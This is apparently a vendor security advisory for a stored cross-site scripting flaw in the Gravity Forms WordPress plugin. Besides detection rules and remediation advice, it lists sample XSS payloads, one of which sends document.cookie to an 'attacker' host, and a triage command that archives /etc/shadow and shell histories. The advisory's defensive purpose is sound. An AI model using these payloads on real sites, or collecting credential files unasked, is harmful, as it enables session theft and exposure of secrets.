TL;DR: This is a cross-site scripting vulnerability (CVSS 7.2 HIGH). Authentication: Not required (unauthenticated). Patch immediately.
What This Vulnerability Is
The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Consent field hidden inputs in versions up to and including 2.10.0. This is due to a flawed state validation mechanism that fails open when input is sanitized by wp_kses(), combined with insufficient output escaping. The state validation logic creates two hashes (raw input and wp_kses-sanitized input) and only fails validation if BOTH hashes don't match the original state. When an attacker injects XSS payloads using tags stripped by wp_kses() (like <svg>), the sanitized hash matches while the malicious raw value is preserved and saved to the database. When administrators view the Entries List page, the stored malicious consent label is retrieved and output without escaping, causing the XSS payload to execute. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in entries that will execute whenever an authenticated administrator accesses the entries list page.
The National Vulnerability Database assigned this issue a CVSS base score of 7.2, placing it in the HIGH category. The identifier CVE-2026-5113 was published on 2026-05-02T06:16:04.020.
- CVE Identifier
- CVE-2026-5113
- CVSS Base Score
- 7.2 / 10.0 (HIGH)
- Published
- 2026-05-02T06:16:04.020
- NVD Entry
- https://nvd.nist.gov/vuln/detail/CVE-2026-5113
- MITRE Entry
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5113
Who Is Affected
Based on the vulnerability data published by NVD, the following products and configurations are identified as affected:
- Specific affected products are listed in the NVD entry. Review the CPE data for your stack.
If your organization uses any of the above, this vulnerability applies to your environment. Even if your specific version is not listed, review the full CPE match data to confirm.
What Attack Traffic Looks Like
Illustrative patterns for defensive detection. Not a working exploit.
Attackers inject script content into parameters that get reflected in HTML output. Watch for:
<script>alert(document.cookie)</script>
<img src=x onerror=fetch('http://attacker/'+document.cookie)>
javascript:alert(1)
" onmouseover="alert(1)
%3Cscript%3Ealert(1)%3C/script%3EHow to Detect It
Sigma Rule
title: XSS Payload in HTTP Parameters
id: auto-cwe79-detection
status: experimental
description: Detects script tags and event handlers in HTTP parameters indicative of XSS attempts.
logsource:
category: webserver
detection:
selection:
cs-uri-query|re: '(<script|javascript:|on\w+=|%3Cscript|%3Csvg)'
condition: selection
level: mediumDetection Regex
(?i)(<script|javascript:|on(error|load|click|mouseover)=|%3Cscript|%3Csvg\s+on)IOC Hunt List
- JavaScript loaded from external domains not in your CDN allowlist
- Cookie values appearing in outbound HTTP requests to third-party domains
- CSP violation reports (if Content-Security-Policy reporting is enabled)
- Unusual URL parameters containing HTML/JS syntax in web server access logs
What to Do About It
Here is what we recommend, in order of priority:
- Check your exposure. Determine whether the affected software or component is present in your environment. Asset inventories and software composition analysis (SCA) tools are the fastest route.
- Apply the patch. If a vendor patch or updated version is available, apply it. Check the references below for vendor advisories.
- Mitigate if patching is not immediate. If you cannot patch right now, evaluate whether network segmentation, access control changes, or configuration adjustments reduce the attack surface for this specific vulnerability.
- Monitor for exploitation. Check whether proof-of-concept exploit code exists. The CISA Known Exploited Vulnerabilities catalog tracks actively exploited CVEs.
- Document your response. Record what you checked, when you patched, and what residual risk remains. This matters for compliance and for incident response if this vulnerability is exploited later.
Triage Quick Start
Run as administrator. Collect artifacts before applying patches or making changes:
# Linux/Unix systems
tar czf /tmp/triage-$(hostname)-$(date +%s).tgz \
/var/log/syslog /var/log/auth.log /var/log/messages \
/var/log/secure /var/log/apache2/ /var/log/nginx/ \
/etc/passwd /etc/shadow \
/root/.bash_history \
/home/*/.bash_history \
/tmp/ /var/tmp/ 2>/dev/null
# Windows systems (PowerShell)
# Compress-Archive -Path C:\Windows\System32\winevt\Logs\*,C:\inetpub\logs\* -DestinationPath C:\triage.zipIf you need help analyzing these artifacts, call Sherlock Forensics at 604.229.1994.
Why This Matters for Companies Without Security Teams
A CVSS score of 7.2 means this vulnerability is straightforward to exploit, likely to cause significant damage, or both. For startups and small companies operating without a dedicated security team, vulnerabilities at this severity level represent real operational risk rather than theoretical concern.
The challenge is not awareness. Vulnerability databases are public. The challenge is triage: understanding whether a given CVE affects your specific stack, and knowing what to do about it before an attacker does. If you lack the internal capacity to perform that assessment, an external review of your exposure is a concrete next step.
Sherlock Forensics provides vulnerability assessment and penetration testing for organizations that need to understand their attack surface without building a full internal security function.